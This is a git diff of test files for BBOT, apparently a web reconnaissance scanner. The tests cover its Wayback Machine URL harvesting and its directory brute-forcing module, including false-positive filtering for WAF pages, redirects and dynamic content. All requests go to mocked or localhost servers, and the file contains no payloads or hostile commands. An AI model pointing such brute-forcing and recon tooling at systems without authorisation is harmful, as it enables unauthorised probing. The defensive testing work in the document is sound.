+    targets = ["blacklanternsecurity.com", "127.0.0.1"]
+    config_overrides = {"modules": {"wayback": {"urls": True, "archive": True}}}
+
+    async def setup_after_prep(self, module_test):
+        # speed up retries for testing
+        module_test.scan.modules["wayback"]._archive_error_delay = 0.01
+        module_test.scan.modules["wayback"]._archive_delay = 0
+        module_test.blasthttp_mock.add_response(
+            url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original&limit=100000&filter=!statuscode:404&filter=!statuscode:301&filter=!statuscode:302&filter=!mimetype:image/.*&filter=!mimetype:text/css&filter=!mimetype:warc/revisit",
+            json=[["original"], ["http://127.0.0.1:1/retry-page"]],
+        )
+        # first attempt: 503 (archive.org overloaded)
+        module_test.blasthttp_mock.add_response(
+            url="http://web.archive.org/web/http://127.0.0.1:1/retry-page",
+        )
+        # retry attempt: 200
+        module_test.blasthttp_mock.add_response(
+            url="http://web.archive.org/web/http://127.0.0.1:1/retry-page",
+            text="<html><body>recovered content</body></html>",
+            headers={"Content-Type": "text/html"},
+        )
+
+    def check(self, module_test, events):
+        http_responses = [e for e in events if e.type == "HTTP_RESPONSE" and "from-wayback" in e.tags]
+        assert len(http_responses) == 1, f"Expected 1 archived HTTP_RESPONSE from retry, got {len(http_responses)}"
+
+
+class TestWaybackGarbageUrlFilter(ModuleTestBase):
+    """Crawler-trap URLs with repeating path segments should be filtered out."""
+
+    module_name = "wayback"
+    modules_overrides = ["wayback"]
+    targets = ["blacklanternsecurity.com"]
+    config_overrides = {"modules": {"wayback": {"urls": True}}}
+
+    async def setup_after_prep(self, module_test):
+        # build a crawler-trap URL with repeating path segments (like the real-world example)
+        repeating = "/themes/sites/example.com".lstrip("/")
+        garbage_path = "/get-materials/" + "/".join([repeating] * 20)
+        garbage_url = f"https://blacklanternsecurity.com{garbage_path}"
+        module_test.blasthttp_mock.add_response(
+            url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original&limit=100000&filter=!statuscode:404&filter=!statuscode:301&filter=!statuscode:302&filter=!mimetype:image/.*&filter=!mimetype:text/css&filter=!mimetype:warc/revisit",
+            json=[
+                ["original"],
+                [garbage_url],
+                ["https://blacklanternsecurity.com/real-page"],
+            ],
+        )
+
+    def check(self, module_test, events):
+        # garbage URL should be filtered
+        assert not any(e.type == "URL_UNVERIFIED" and "get-materials" in e.url for e in events), (
+            "Crawler-trap URL with repeating path segments should have been filtered"
+        )
+        # real page should still be emitted
+        assert any(e.type == "URL_UNVERIFIED" and "real-page" in e.url for e in events), (
+            "Non-garbage URL should have been emitted"
+        )
+
+
+class TestWaybackGarbageUrlLength(ModuleTestBase):
+    """Excessively long URLs should be filtered out as garbage."""
+
+    module_name = "wayback"
+    modules_overrides = ["wayback"]
+    targets = ["blacklanternsecurity.com"]
+    config_overrides = {"modules": {"wayback": {"urls": True}}}
+
+    async def setup_after_prep(self, module_test):
+        # URL exceeding 2000 character limit
+        long_url = "https://blacklanternsecurity.com/" + "a" * 2000
+        module_test.blasthttp_mock.add_response(
+            url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original&limit=100000&filter=!statuscode:404&filter=!statuscode:301&filter=!statuscode:302&filter=!mimetype:image/.*&filter=!mimetype:text/css&filter=!mimetype:warc/revisit",
+            json=[
+                ["original"],
+                [long_url],
+                ["https://blacklanternsecurity.com/normal-page"],
+            ],
+        )
+
+    def check(self, module_test, events):
+        # long URL should be filtered
+        assert not any(e.type == "URL_UNVERIFIED" and "aaaa" in e.url for e in events), (
+            "Excessively long URL should have been filtered"
+        )
+        # normal page should still be emitted
+        assert any(e.type == "URL_UNVERIFIED" and "normal-page" in e.url for e in events), (
+            "Normal-length URL should have been emitted"
+        )
+
+
+class TestWaybackJunkUrlFilter(ModuleTestBase):
+    """Bot-manager-style randomized URLs should be filtered by the built-in YARA junk rules."""
+
+    module_name = "wayback"
+    modules_overrides = ["wayback"]
+    targets = ["blacklanternsecurity.com"]
+    config_overrides = {"modules": {"wayback": {"urls": True}}}
+
+    # Synthetic Akamai-style junk URLs: each path has 2+ random segments
+    # mixing uppercase, lowercase, and digits/symbols.
+    junk_urls = [
+        "https://blacklanternsecurity.com/K8RIfwz/zxO29N1d2a4g/Q3rx/GjlB8/ZrcodWAG1Tpd/1KhpOA/0c5tzl-i2II/Es8jJD",
+        "https://blacklanternsecurity.com/w9bx0E/UPcIqN7-eCer/Fgm0A2/z0IU7/GBxV7_4QEnK/knJ9z4IYXGGw/XWt6dak5Ao",
+        "https://blacklanternsecurity.com/oq384ANPC0E/Hq2E2/yCFIf08-/Ln3Kln6oEWx7",
+    ]
+    # URLs that must survive the filter — includes the Akamai bot-manager endpoint
+    # itself, a CamelCase REST API path, and a single mixed-case-with-symbol segment
+    # (MYAPP_Auth alone shouldn't trip the threshold of 2).
+    legit_urls = [
+        "https://blacklanternsecurity.com/clientlibs/abc123def456",
+        "https://blacklanternsecurity.com/_bm/get_params?type=get-akid",
+        "https://blacklanternsecurity.com/api/v1/MyController/getStuff",
+        "https://blacklanternsecurity.com/MYAPP_Auth/login.jsp?TYPE=33554432",
+    ]
+
+    async def setup_after_prep(self, module_test):
+        module_test.blasthttp_mock.add_response(
+            url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original&limit=100000&filter=!statuscode:404&filter=!statuscode:301&filter=!statuscode:302&filter=!mimetype:image/.*&filter=!mimetype:text/css&filter=!mimetype:warc/revisit",
+            json=[["original"], *([u] for u in self.junk_urls + self.legit_urls)],
+        )
+
+    def check(self, module_test, events):
+        emitted = [e.url for e in events if e.type == "URL_UNVERIFIED"]
+        for junk in self.junk_urls:
+            assert not any(junk in u for u in emitted), f"Junk URL was not filtered: {junk}"
+        for legit in self.legit_urls:
+            # match on the path so http/https variant normalization doesn't cause spurious failures
+            path = legit.split("blacklanternsecurity.com", 1)[1].split("?", 1)[0]
+            assert any(path in u for u in emitted), f"Legit URL was filtered: {legit}"
+
+
+class TestWaybackJunkUrlFilterUnicode(ModuleTestBase):
+    """A multibyte URL preceding junk URLs must not desync the byte-offset
+    mapping used to attribute YARA matches back to individual URLs."""
+
+    module_name = "wayback"
+    modules_overrides = ["wayback"]
+    targets = ["blacklanternsecurity.com"]
+    config_overrides = {"modules": {"wayback": {"urls": True}}}
+
+    # leading URL with multibyte characters: each 'ü' is 2 UTF-8 bytes, so a
+    # char-count offset table would be misaligned for every URL after it,
+    # causing junk matches to be attributed to the wrong URL.
+    unicode_url = "https://blacklanternsecurity.com/" + ("ü" * 50)
+    junk_urls = [
+        "https://blacklanternsecurity.com/Aa1/Bb2/Cc3",
+        "https://blacklanternsecurity.com/Dd4/Ee5/Ff6",
+        "https://blacklanternsecurity.com/Gg7/Hh8/Ii9",
+    ]
+    # plain ASCII URL after the junk; must survive (proves good URLs aren't
+    # dropped by a misattributed match, and that the pipeline emitted at all)
+    legit_url = "https://blacklanternsecurity.com/about/contact"
+
+    async def setup_after_prep(self, module_test):
+        all_urls = [self.unicode_url, *self.junk_urls, self.legit_url]
+        module_test.blasthttp_mock.add_response(
+            url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original&limit=100000&filter=!statuscode:404&filter=!statuscode:301&filter=!statuscode:302&filter=!mimetype:image/.*&filter=!mimetype:text/css&filter=!mimetype:warc/revisit",
+            json=[["original"], *([u] for u in all_urls)],
+        )
+
+    def check(self, module_test, events):
+        emitted = [e.url for e in events if e.type == "URL_UNVERIFIED"]
+        assert any("/about/contact" in u for u in emitted), "Legit URL was filtered or pipeline emitted nothing"
+        for junk in self.junk_urls:
+            path = junk.split("blacklanternsecurity.com", 1)[1]
+            assert not any(path in u for u in emitted), f"Junk URL leaked past filter: {junk}"
+
+
+class TestWaybackArchive429Retry(ModuleTestBase):
+    """Archive fetches that get 429 rate-limited should back off and retry successfully."""
+
+    module_name = "wayback"
+    modules_overrides = ["wayback"]
+    targets = ["blacklanternsecurity.com", "127.0.0.1"]
+    config_overrides = {"modules": {"wayback": {"urls": True, "archive": True}}}
+
+    async def setup_after_prep(self, module_test):
+        # speed up delays for testing
+        module_test.scan.modules["wayback"]._archive_429_default_delay = 0.01
+        module_test.scan.modules["wayback"]._archive_error_delay = 0.01
+        module_test.scan.modules["wayback"]._archive_delay = 0
+        module_test.blasthttp_mock.add_response(
+            url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original&limit=100000&filter=!statuscode:404&filter=!statuscode:301&filter=!statuscode:302&filter=!mimetype:image/.*&filter=!mimetype:text/css&filter=!mimetype:warc/revisit",
+            json=[["original"], ["http://127.0.0.1:1/rate-limited-page"]],
+        )
+        # first attempt: 429 rate limited
+        module_test.blasthttp_mock.add_response(
+            url="http://web.archive.org/web/http://127.0.0.1:1/rate-limited-page",
+            status_code=429,
+            headers={"Retry-After": "1"},
+        )
+        # retry after backoff: 200
+        module_test.blasthttp_mock.add_response(
+            url="http://web.archive.org/web/http://127.0.0.1:1/rate-limited-page",
+            text="<html><body>content after rate limit</body></html>",
+            headers={"Content-Type": "text/html"},
+        )
+
+    def check(self, module_test, events):
+        http_responses = [e for e in events if e.type == "HTTP_RESPONSE" and "from-wayback" in e.tags]
+        assert len(http_responses) == 1, (
+            f"Expected 1 archived HTTP_RESPONSE after 429 retry, got {len(http_responses)}"
+        )
+
+
+class TestWaybackWildcardSkip(ModuleTestBase):
+    """When the target host is an HTTP wildcard, wayback should skip the CDX query entirely."""
+
+    module_name = "wayback"
+    modules_overrides = ["wayback"]
+    targets = ["blacklanternsecurity.com"]
+
+    async def setup_after_prep(self, module_test):
+        async def mock_wildcard(scheme, host, port):
+            return True
+
+        module_test.scan.helpers.web.is_http_wildcard_host = mock_wildcard
+        # CDX response that should NOT be queried
+        module_test.blasthttp_mock.add_response(
+            url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original&limit=100000&filter=!statuscode:404&filter=!statuscode:301&filter=!statuscode:302&filter=!mimetype:image/.*&filter=!mimetype:text/css&filter=!mimetype:warc/revisit",
+            json=[["original"], ["http://asdf.blacklanternsecurity.com"]],
+        )
+
+    def check(self, module_test, events):
+        assert not any(e.data == "asdf.blacklanternsecurity.com" for e in events), (
+            "Wayback should have skipped CDX query for wildcard host"
+        )
diff --git a/bbot/test/test_step_2/module_tests/test_module_web_parameters.py b/bbot/test/test_step_2/module_tests/test_module_web_parameters.py
index 7e47775e46..21a3b0adaf 100644
--- a/bbot/test/test_step_2/module_tests/test_module_web_parameters.py
+++ b/bbot/test/test_step_2/module_tests/test_module_web_parameters.py
@@ -2,27 +2,30 @@
 
 
 class TestWebParameters(TestExcavateParameterExtraction):
-    modules_overrides = ["excavate", "httpx", "web_parameters"]
+    modules_overrides = ["excavate", "http", "web_parameters"]
 
     def check(self, module_test, events):
         parameters_file = module_test.scan.home / "web_parameters.txt"
         with open(parameters_file) as f:
             data = f.read()
 
-            assert "age" in data
-            assert "fit" in data
-            assert "id" in data
-            assert "jqueryget" in data
-            assert "jquerypost" in data
-            assert "size" in data
-
-            # after lightfuzz is merged uncomment these additional parameters
-            # assert "blog-post-author-display" in data
-            # assert "csrf" in data
-            # assert "q1" in data
-            # assert "q2" in data
-            # assert "q3" in data
-            # assert "test" in data
+        for name in (
+            "age",
+            "blog-post-author-display",
+            "csrf",
+            "fit",
+            "id",
+            "jqueryget",
+            "jquerypost",
+            "q1",
+            "q2",
+            "q3",
+            "q4",
+            "q5",
+            "size",
+            "test",
+        ):
+            assert name in data, f"missing parameter: {name}"
 
 
 class TestWebParameters_include_count(TestWebParameters):
@@ -35,25 +38,24 @@ def check(self, module_test, events):
         parameters_file = module_test.scan.home / "web_parameters.txt"
         with open(parameters_file) as f:
             data = f.read()
-            assert "2\tq" in data
-            assert "1\tage" in data
-            assert "1\tfit" in data
-            assert "1\tid" in data
-            assert "1\tjqueryget" in data
-            assert "1\tjquerypost" in data
-            assert "1\tsize" in data
-
-            # after lightfuzz is merged, these will be the correct parameters to check
-
-            # assert "3\ttest" in data
-            # assert "2\tblog-post-author-display" in data
-            # assert "2\tcsrf" in data
-            # assert "2\tq2" in data
-            # assert "1\tage" in data
-            # assert "1\tfit" in data
-            # assert "1\tid" in data
-            # assert "1\tjqueryget" in data
-            # assert "1\tjquerypost" in data
-            # assert "1\tq1" in data
-            # assert "1\tq3" in data
-            # assert "1\tsize" in data
+
+        # "test" is the custom http_headers value the test scan injects; each
+        # HTTP_RESPONSE re-emits it as a HEADER WEB_PARAMETER, so it shows 3.
+        # Every other param is extracted once per unique (type, name, url).
+        for expected in (
+            "3\ttest",
+            "1\tage",
+            "1\tblog-post-author-display",
+            "1\tcsrf",
+            "1\tfit",
+            "1\tid",
+            "1\tjqueryget",
+            "1\tjquerypost",
+            "1\tq1",
+            "1\tq2",
+            "1\tq3",
+            "1\tq4",
+            "1\tq5",
+            "1\tsize",
+        ):
+            assert expected in data, f"missing line: {expected!r}"
diff --git a/bbot/test/test_step_2/module_tests/test_module_web_report.py b/bbot/test/test_step_2/module_tests/test_module_web_report.py
index 40354e3981..af11083e16 100644
--- a/bbot/test/test_step_2/module_tests/test_module_web_report.py
+++ b/bbot/test/test_step_2/module_tests/test_module_web_report.py
@@ -3,13 +3,13 @@
 
 class TestWebReport(ModuleTestBase):
     targets = ["http://127.0.0.1:8888"]
-    modules_overrides = ["httpx", "dotnetnuke", "badsecrets", "web_report", "trufflehog"]
+    modules_overrides = ["http", "dotnetnuke", "badsecrets", "web_report", "trufflehog"]
     config_overrides = {"modules": {"trufflehog": {"only_verified": False}}}
 
     async def setup_before_prep(self, module_test):
         # trufflehog --> FINDING
         # dotnetnuke --> TECHNOLOGY
-        # badsecrets --> VULNERABILITY
+        # badsecrets --> FINDING
         respond_args = {"response_data": web_body}
         module_test.set_expect_requests(respond_args=respond_args)
 
@@ -17,7 +17,9 @@ def check(self, module_test, events):
         report_file = module_test.scan.home / "web_report.html"
         with open(report_file) as f:
             report_content = f.read()
-        assert "<li>[CRITICAL] Known Secret Found" in report_content
+        assert "<li>Severity: [CRITICAL] Confidence: [" in report_content
+        assert "CONFIRMED" in report_content
+        assert "Known Secret Found" in report_content
         assert (
             """<h3>URL</h3>
 <ul>
@@ -26,7 +28,7 @@ def check(self, module_test, events):
         )
         assert """Possible Secret Found. Detector Type: [PrivateKey]""" in report_content
         assert "<h3>TECHNOLOGY</h3>" in report_content
-        assert "<li>DotNetNuke</li>" in report_content
+        assert "<li>dotnetnuke</li>" in report_content
 
 
 web_body = """
diff --git a/bbot/test/test_step_2/module_tests/test_module_webbrute.py b/bbot/test/test_step_2/module_tests/test_module_webbrute.py
new file mode 100644
index 0000000000..deb75b8426
--- /dev/null
+++ b/bbot/test/test_step_2/module_tests/test_module_webbrute.py
@@ -0,0 +1,351 @@
+import re
+
+from werkzeug.wrappers import Response
+
+from .base import ModuleTestBase, tempwordlist
+
+
+class TestWebBrute(ModuleTestBase):
+    targets = ["http://127.0.0.1:8888"]
+    module_name = "webbrute"
+    test_wordlist = ["11111111", "admin", "junkword1", "zzzjunkword2"]
+    config_overrides = {
+        "modules": {
+            "webbrute": {
+                "wordlist": tempwordlist(test_wordlist),
+            }
+        }
+    }
+    modules_overrides = ["webbrute", "http"]
+
+    async def setup_before_prep(self, module_test):
+        expect_args = {"method": "GET", "uri": "/admin"}
+        respond_args = {"response_data": "alive admin page"}
+        module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args)
+
+        expect_args = {"method": "GET", "uri": "/"}
+        respond_args = {"response_data": "alive"}
+        module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args)
+
+    def check(self, module_test, events):
+        assert any(e.type == "URL_UNVERIFIED" and "admin" in e.url for e in events)
+        assert not any(e.type == "URL_UNVERIFIED" and "11111111" in e.url for e in events)
+
+
+class TestWebBrute2(TestWebBrute):
+    test_wordlist = ["11111111", "console", "junkword1", "zzzjunkword2"]
+    config_overrides = {"modules": {"webbrute": {"wordlist": tempwordlist(test_wordlist), "extensions": "php"}}}
+
+    async def setup_before_prep(self, module_test):
+        expect_args = {"method": "GET", "uri": "/console.php"}
+        respond_args = {"response_data": "alive admin page"}
+        module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args)
+
+        expect_args = {"method": "GET", "uri": "/"}
+        respond_args = {"response_data": "alive"}
+        module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args)
+
+    def check(self, module_test, events):
+        assert any(e.type == "URL_UNVERIFIED" and "console" in e.url for e in events)
+        assert not any(e.type == "URL_UNVERIFIED" and "11111111" in e.url for e in events)
+
+
+class TestWebBrute_ignorecase(TestWebBrute):
+    test_wordlist = ["11111111", "Admin", "admin", "zzzjunkword2"]
+    config_overrides = {
+        "modules": {"webbrute": {"wordlist": tempwordlist(test_wordlist), "extensions": "php", "ignore_case": True}}
+    }
+
+    async def setup_before_prep(self, module_test):
+        expect_args = {"method": "GET", "uri": "/admin"}
+        respond_args = {"response_data": "alive admin page"}
+        module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args)
+
+        expect_args = {"method": "GET", "uri": "/Admin"}
+        respond_args = {"response_data": "alive admin page"}
+        module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args)
+
+        expect_args = {"method": "GET", "uri": "/"}
+        respond_args = {"response_data": "alive"}
+        module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args)
+
+    def check(self, module_test, events):
+        assert any(e.type == "URL_UNVERIFIED" and "admin" in e.url for e in events)
+        assert not any(e.type == "URL_UNVERIFIED" and "Admin" in e.url for e in events)
+
+
+class TestWebBruteHeaders(TestWebBrute):
+    test_wordlist = ["11111111", "console", "junkword1", "zzzjunkword2"]
+    config_overrides = {
+        "modules": {"webbrute": {"wordlist": tempwordlist(test_wordlist), "extensions": "php"}},
+        "web": {"http_headers": {"test": "test2"}},
+    }
+
+    async def setup_before_prep(self, module_test):
+        expect_args = {"method": "GET", "headers": {"test": "test2"}, "uri": "/console.php"}
+        respond_args = {"response_data": "alive admin page"}
+        module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args)
+
+        expect_args = {"method": "GET", "uri": "/"}
+        respond_args = {"response_data": "alive"}
+        module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args)
+
+    def check(self, module_test, events):
+        assert any(e.type == "URL_UNVERIFIED" and "console" in e.url for e in events)
+        assert not any(e.type == "URL_UNVERIFIED" and "11111111" in e.url for e in events)
+
+
+class TestWebBruteRedirectFalsePositive(ModuleTestBase):
+    """Server returns 404 for random paths but 302->/ for ~-prefixed paths.
+    webbrute should detect that all redirect hits go to the same location
+    and filter them as false positives."""
+
+    targets = ["http://127.0.0.1:8888"]
+    module_name = "webbrute"
+    test_wordlist = ["~joe", "~", "junkword1", "zzzjunkword2"]
+    config_overrides = {
+        "modules": {
+            "webbrute": {
+                "wordlist": tempwordlist(test_wordlist),
+            }
+        }
+    }
+    modules_overrides = ["webbrute", "http"]
+
+    def request_handler(self, request):
+        uri = request.path
+        if uri == "/":
+            return Response("<html>Home</html>", status=200)
+        if uri.lstrip("/").startswith("~"):
+            return Response("", status=302, headers={"Location": "/"})
+        return Response("Not Found", status=404)
+
+    async def setup_before_prep(self, module_test):
+        module_test.set_expect_requests_handler(expect_args=re.compile("/.*"), request_handler=self.request_handler)
+
+    def check(self, module_test, events):
+        tilde_hits = [e for e in events if e.type == "URL_UNVERIFIED" and "~" in e.url and str(e.module) == "webbrute"]
+        assert len(tilde_hits) == 0, (
+            f"webbrute should not report redirect-to-root paths as findings, but got: {[e.url for e in tilde_hits]}"
+        )
+
+
+class TestWebBruteWAFFalsePositive(ModuleTestBase):
+    """WAF returns 200 with block page body for certain paths.
+    webbrute should detect WAF content and filter these as false positives."""
+
+    targets = ["http://127.0.0.1:8888"]
+    module_name = "webbrute"
+    test_wordlist = ["admin", "secret", "junkword1", "zzzjunkword2"]
+    config_overrides = {
+        "modules": {
+            "webbrute": {
+                "wordlist": tempwordlist(test_wordlist),
+            }
+        }
+    }
+    modules_overrides = ["webbrute", "http"]
+
+    waf_body = "<html><head><title>Request Rejected</title></head><body>The requested URL was rejected. Please consult with your administrator.</body></html>"
+
+    def request_handler(self, request):
+        uri = request.path
+        if uri == "/":
+            return Response("<html>Home</html>", status=200)
+        if uri.lstrip("/").startswith(("admin", "secret")):
+            return Response(self.waf_body, status=200)
+        return Response("Not Found", status=404)
+
+    async def setup_before_prep(self, module_test):
+        module_test.set_expect_requests_handler(expect_args=re.compile("/.*"), request_handler=self.request_handler)
+
+    def check(self, module_test, events):
+        waf_hits = [
+            e
+            for e in events
+            if e.type == "URL_UNVERIFIED" and str(e.module) == "webbrute" and ("admin" in e.url or "secret" in e.url)
+        ]
+        assert len(waf_hits) == 0, f"webbrute should filter WAF block pages, but got: {[e.url for e in waf_hits]}"
+
+
+class TestWebBruteDynamicContentFilter(ModuleTestBase):
+    """Server returns 200 with a per-request CSRF token for unknown paths.
+    Without HttpCompare, the baseline would fall through to status-only filtering
+    and report every 200 as a hit. HttpCompare should detect the token as a dynamic
+    position and filter it out, only reporting /admin (genuinely different content)."""
+
+    targets = ["http://127.0.0.1:8888"]
+    module_name = "webbrute"
+    test_wordlist = ["admin", "junkword1", "zzzjunkword2"]
+    config_overrides = {"modules": {"webbrute": {"wordlist": tempwordlist(test_wordlist)}}}
+    modules_overrides = ["webbrute", "http"]
+
+    _counter = 0
+
+    def request_handler(self, request):
+        uri = request.path
+        if uri == "/":
+            return Response("<html>Home</html>", status=200)
+        if uri.lstrip("/").startswith("admin"):
+            return Response("<html><body>Admin Panel - Secret Content</body></html>", status=200)
+        TestWebBruteDynamicContentFilter._counter += 1
+        body = (
+            "<html>\n"
+            "<head><title>Page Not Found</title></head>\n"
+            "<body>\n"
+            "<p>The page you requested could not be found.</p>\n"
+            f'<input type="hidden" name="csrf" value="tok{TestWebBruteDynamicContentFilter._counter:06d}"/>\n'
+            "</body>\n"
+            "</html>"
+        )
+        return Response(body, status=200)
+
+    async def setup_before_prep(self, module_test):
+        module_test.set_expect_requests_handler(expect_args=re.compile("/.*"), request_handler=self.request_handler)
+
+    def check(self, module_test, events):
+        webbrute_urls = [e for e in events if e.type == "URL_UNVERIFIED" and str(e.module) == "webbrute"]
+        assert any("admin" in e.url for e in webbrute_urls), (
+            f"webbrute should find /admin (genuinely different), but got: {[e.url for e in webbrute_urls]}"
+        )
+        junk_hits = [e for e in webbrute_urls if "junkword" in e.url]
+        assert len(junk_hits) == 0, (
+            f"webbrute should filter dynamic-content false positives, but got: {[e.url for e in junk_hits]}"
+        )
+
+
+class TestWebBruteHitCap(ModuleTestBase):
+    """Server returns unique content for every path, causing all words to pass
+    HttpCompare. The sqrt-scaled hit cap should detect this as a filtering
+    failure and discard everything before emission."""
+
+    targets = ["http://127.0.0.1:8888"]
+    module_name = "webbrute"
+    # 50 words → cap of int(4 * sqrt(50)) = 28. All 50 will "hit", exceeding the cap.
+    test_wordlist = [f"word{i:03d}" for i in range(50)]
+    config_overrides = {"modules": {"webbrute": {"wordlist": tempwordlist(test_wordlist)}}}
+    modules_overrides = ["webbrute", "http"]
+
+    _counter = 0
+
+    def request_handler(self, request):
+        uri = request.path
+        if uri == "/":
+            return Response("<html>Home</html>", status=200)
+        # Return unique content only for wordlist words (word000-word049).
+        # Random strings (like the canary) get a normal 404 so the canary
+        # doesn't mask the hit cap.
+        segment = uri.strip("/")
+        if segment.startswith("word"):
+            TestWebBruteHitCap._counter += 1
+            body = f"<html><body>Unique page {TestWebBruteHitCap._counter} for {uri}</body></html>"
+            return Response(body, status=200)
+        return Response("Not Found", status=404)
+
+    async def setup_before_prep(self, module_test):
+        module_test.set_expect_requests_handler(expect_args=re.compile("/.*"), request_handler=self.request_handler)
+
+    def check(self, module_test, events):
+        webbrute_urls = [e for e in events if e.type == "URL_UNVERIFIED" and str(e.module) == "webbrute"]
+        assert len(webbrute_urls) == 0, (
+            f"Hit cap should have discarded all hits, but got: {[e.url for e in webbrute_urls]}"
+        )
+
+
+class TestWebBruteCanaryDefense(ModuleTestBase):
+    """Server returns unique content for EVERY path including random strings.
+    The canary fires and aborts, discarding all hits."""
+
+    targets = ["http://127.0.0.1:8888"]
+    module_name = "webbrute"
+    test_wordlist = ["admin", "secret", "login"]
+    config_overrides = {"modules": {"webbrute": {"wordlist": tempwordlist(test_wordlist)}}}
+    modules_overrides = ["webbrute", "http"]
+
+    _counter = 0
+
+    def request_handler(self, request):
+        uri = request.path
+        if uri == "/":
+            return Response("<html>Home</html>", status=200)
+        # Every path (including random canary strings) gets unique content
+        # that differs structurally from the baseline, not just in a filterable position.
+        TestWebBruteCanaryDefense._counter += 1
+        n = TestWebBruteCanaryDefense._counter
+        extra = "".join(f"<p>Section {i}</p>\n" for i in range(n % 5 + 1))
+        body = f"<html><body><h1>Custom page #{n} for {uri}</h1>\n{extra}</body></html>"
+        return Response(body, status=200)
+
+    async def setup_before_prep(self, module_test):
+        module_test.set_expect_requests_handler(expect_args=re.compile("/.*"), request_handler=self.request_handler)
+
+    def check(self, module_test, events):
+        webbrute_urls = [e for e in events if e.type == "URL_UNVERIFIED" and str(e.module) == "webbrute"]
+        assert len(webbrute_urls) == 0, (
+            f"Canary defense should have aborted, but webbrute emitted: {[e.url for e in webbrute_urls]}"
+        )
+
+
+class TestWebBruteMidScanBaselineDrift(ModuleTestBase):
+    """Server matches baseline initially, then drifts (WAF kicks in after N requests).
+    Mid-scan baseline check should detect the drift and abort."""
+
+    targets = ["http://127.0.0.1:8888"]
+    module_name = "webbrute"
+    test_wordlist = ["admin", "secret", "login"]
+    config_overrides = {"modules": {"webbrute": {"wordlist": tempwordlist(test_wordlist)}}}
+    modules_overrides = ["webbrute", "http"]
+
+    _request_count = 0
+
+    def request_handler(self, request):
+        uri = request.path
+        if uri == "/":
+            return Response("<html>Home</html>", status=200)
+        TestWebBruteMidScanBaselineDrift._request_count += 1
+        # First 4 requests: normal 404 (baseline probes + early fuzz).
+        # After that: WAF kicks in, returns block page for everything.
+        if TestWebBruteMidScanBaselineDrift._request_count <= 4:
+            return Response("Not Found", status=404)
+        return Response("<html>Access Denied by WAF</html>", status=200)
+
+    async def setup_before_prep(self, module_test):
+        module_test.set_expect_requests_handler(expect_args=re.compile("/.*"), request_handler=self.request_handler)
+
+    def check(self, module_test, events):
+        webbrute_urls = [e for e in events if e.type == "URL_UNVERIFIED" and str(e.module) == "webbrute"]
+        assert len(webbrute_urls) == 0, (
+            f"Mid-scan baseline drift should have aborted, but webbrute emitted: {[e.url for e in webbrute_urls]}"
+        )
+
+
+class TestWebBruteWildcardSkip(ModuleTestBase):
+    """When the host is an HTTP wildcard, webbrute should skip fuzzing entirely."""
+
+    targets = ["http://127.0.0.1:8888"]
+    module_name = "webbrute"
+    test_wordlist = ["admin", "secret"]
+    config_overrides = {"modules": {"webbrute": {"wordlist": tempwordlist(test_wordlist)}}}
+    modules_overrides = ["webbrute", "http"]
+
+    async def setup_before_prep(self, module_test):
+        module_test.set_expect_requests(
+            expect_args={"method": "GET", "uri": "/admin"},
+            respond_args={"response_data": "alive admin page"},
+        )
+        module_test.set_expect_requests(
+            expect_args={"method": "GET", "uri": "/"},
+            respond_args={"response_data": "alive"},
+        )
+
+    async def setup_after_prep(self, module_test):
+        async def mock_wildcard(scheme, host, port):
+            return True
+
+        module_test.scan.helpers.web.is_http_wildcard_host = mock_wildcard
+
+    def check(self, module_test, events):
+        webbrute_urls = [e for e in events if e.type == "URL_UNVERIFIED" and str(e.module) == "webbrute"]
+        assert len(webbrute_urls) == 0, (
+            f"webbrute should not fuzz wildcard hosts, but emitted: {[e.url for e in webbrute_urls]}"
+        )
diff --git a/bbot/test/test_step_2/module_tests/test_module_ffuf_shortnames.py b/bbot/test/test_step_2/module_tests/test_module_webbrute_shortnames.py
similarity index 89%
rename from bbot/test/test_step_2/module_tests/test_module_ffuf_shortnames.py
rename to bbot/test/test_step_2/module_tests/test_module_webbrute_shortnames.py
index 4a5748f8fb..6a54cac4ae 100644
--- a/bbot/test/test_step_2/module_tests/test_module_ffuf_shortnames.py
+++ b/bbot/test/test_step_2/module_tests/test_module_webbrute_shortnames.py
@@ -1,19 +1,19 @@
-from .base import ModuleTestBase, tempwordlist
+from .base import ModuleTestBase
 
 
-class TestFFUFShortnames(ModuleTestBase):
+class TestWebBruteShortnames(ModuleTestBase):
     targets = ["http://127.0.0.1:8888"]
-    test_wordlist = ["11111111", "administrator", "portal", "console", "junkword1", "zzzjunkword2", "directory"]
+    module_name = "webbrute_shortnames"
     config_overrides = {
         "modules": {
-            "ffuf_shortnames": {
+            "webbrute_shortnames": {
                 "find_common_prefixes": True,
                 "find_subwords": True,
-                "wordlist": tempwordlist(test_wordlist),
+                "max_predictions": 250,
             }
         }
     }
-    modules_overrides = ["ffuf_shortnames", "httpx"]
+    modules_overrides = ["webbrute_shortnames", "http"]
 
     async def setup_after_prep(self, module_test):
         module_test.httpserver.no_handler_status_code = 404
@@ -23,7 +23,7 @@ async def setup_after_prep(self, module_test):
             "http://127.0.0.1:8888/",
             "URL",
             module_test.scan.root_event,
-            module="httpx",
+            module="http",
             tags=["status-200", "distance-0"],
         )
         seed_events.append(
@@ -200,21 +200,21 @@ def check(self, module_test, events):
 
         for e in events:
             if e.type == "URL_UNVERIFIED":
-                if e.data == "http://127.0.0.1:8888/administrator.aspx":
+                if e.url == "http://127.0.0.1:8888/administrator.aspx":
                     basic_detection = True
-                if e.data == "http://127.0.0.1:8888/directory/":
+                if e.url == "http://127.0.0.1:8888/directory/":
